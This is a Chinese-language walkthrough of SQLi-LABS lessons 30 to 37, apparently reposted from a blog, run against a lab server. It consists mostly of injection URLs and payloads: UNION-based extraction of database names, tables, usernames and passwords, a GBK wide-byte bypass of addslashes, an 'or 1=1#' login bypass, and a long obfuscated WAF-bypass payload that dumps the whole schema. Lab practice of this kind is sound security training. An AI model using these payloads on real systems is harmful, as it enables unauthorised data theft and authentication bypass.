SQLi-LABS Page-2 (Adv Injections) Less30-Less35

Less-30

GET - BLIND - IMPIDENCE MISMATCH- Having

http://10.10.202.112/sqli/Less-30?id=1" #false

http://10.10.202.112/sqli/Less-30?id=1"--+ #true

http://10.10.202.112/sqli/Less-30?id=1" order by 4--+ #false

http://10.10.202.112/sqli/Less-30?id=1" order by 3--+ #true

http://10.10.202.112/sqli/Less-30?id=-1" +UNION+ALL+SELECT+1,2,3--+

http://10.10.202.112/sqli/Less-30?id=-1" +UNION+ALL+SELECT+1,user(),version()--+

Less-31

GET - BLIND - IMPIDENCE MISMATCH- Having

http://10.10.202.112/sqli/Less-31?id=1"

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\phpStudy2018\PHPTutorial\WWW\sqli\Less-31\index.php on line 33
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

进行闭合

http://10.10.202.112/sqli/Less-31?id=1")--+ #true

http://10.10.202.112/sqli/Less-31?id=1") order by 3--+ #true

http://10.10.202.112/sqli/Less-31?id=1") order by 4--+ #false

http://10.10.202.112/sqli/Less-31?id=-1") union select 1,2,3--+

http://10.10.202.112/sqli/Less-31?id=-1") union select 1,user(),database()--+

Less-32

GET - Bypass custom filter adding slashe

宽字节注入的问题

原理

mysql 在使用GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个ascii 码大于128 才能到汉字的范围)。我们在过滤’ 的时候,往往利用的思路是将’ 转换为’ (转换的函数或者思路会在每一关遇到的时候介绍)。

%df 吃掉 \ 具体的原因是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df,形成 %df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此事 %df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
将 ’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的 %5c 会被前面的 %5c 给注释掉。这也是bypass 的一种方法。
注入思路

将’ 前面添加的\ 除掉,一般有两种思路:

urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df,形成 %df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此事 %df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的

http://10.10.202.112/sqli/Less-32?id=1%df%27

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\phpStudy2018\PHPTutorial\WWW\sqli\Less-32\index.php on line 43
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1�\'' LIMIT 0,1' at line 1

进行闭合

http://10.10.202.112/sqli/Less-32?id=1%df%27 order by 3--+ #true

http://10.10.202.112/sqli/Less-32?id=1%df%27 order by 4--+ #false

http://10.10.202.112/sqli/Less-32?id=-1%df%27 union select 1,2,3--+

http://10.10.202.112/sqli/Less-32?id=-1%df%27 union select 1,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),3--+

Less-33

GET - Bypass AddSlashes()

原理
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
过滤:

单引号(')
双引号(")
反斜杠(\)

http://10.10.202.112/sqli/Less-33?id=1%df%27

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\phpStudy2018\PHPTutorial\WWW\sqli\Less-33\index.php on line 39
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1�\'' LIMIT 0,1' at line 1

尝试闭合

http://10.10.202.112/sqli/Less-33?id=1%df%27--+

http://10.10.202.112/sqli/Less-33?id=-1%df%27 +UNION+ALL+SELECT+1,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users),3--+

Less-34

POST - Bypass AddSlashes()

原理

本关是 post 型的注入漏洞,同样的也是将post 过来的内容进行了 ‘’ 的处理。由上面的例子可以看到我们的方法就是将过滤函数添加的 \ 给吃掉。而 get 型的方式我们是以 url 形式提交的,因此数据会通过URLencode,如何将方法用在 post 型的注入当中,我们此处介绍一个新的方法。
将 utf-8 转换为 utf-16 或 utf-32,例如将 ’ 转为 utf-16 为 %EF%BF%BD% 。我们就可以利用这个方式进行尝试。
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

SELECT username, password FROM users WHERE username='%EF%BF%BD%' or 1=1-- -' and password='$passwd' LIMIT 0,1

SELECT username, password FROM users WHERE username='%EF%BF%BD%' or 1=1

payload: 

username: %EF%BF%BD'or 1=1#

password: 123

Less-35

GET - Bypass addslashes(we don’t need them) Integer based

查看源码,可以判断为整形注入吧

http://10.10.202.112/sqli/Less-35?id=1 and 1=1--+ #true

http://10.10.202.112/sqli/Less-35?id=1 and 1=2--+ #false

http://10.10.202.112/sqli/Less-35?id=-1 union select 1,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users),3--+

Less-36

GET - Bypass MySQL_real_eacape_string

原理

mysql_real_escape_string() 函数

\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回false

但是因 mysql 我们并没有设置成 gbk,所以 mysql_real_escape_string() 依旧能够被突破

payload:

%EF%BF%BD%27

http://10.10.202.112/sqli/Less-36?id=1%EF%BF%BD%27--+

http://10.10.202.112/sqli/Less-36?id=-1%EF%BF%BD%27 union select 1,concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/,3--+

Less-37

POST - Bypass MySQL_real_escape_string

post 内容用的是 mysql_real_escape_string()函数,而不是 addslashes()函数

payload:

uname: %EF%BF%BD'or 1=1#

passwd: 123

待续!!!

点击赞赏二维码,您的支持将鼓励我继续创作!

猜你喜欢

转载自www.cnblogs.com/hack404/p/11089977.html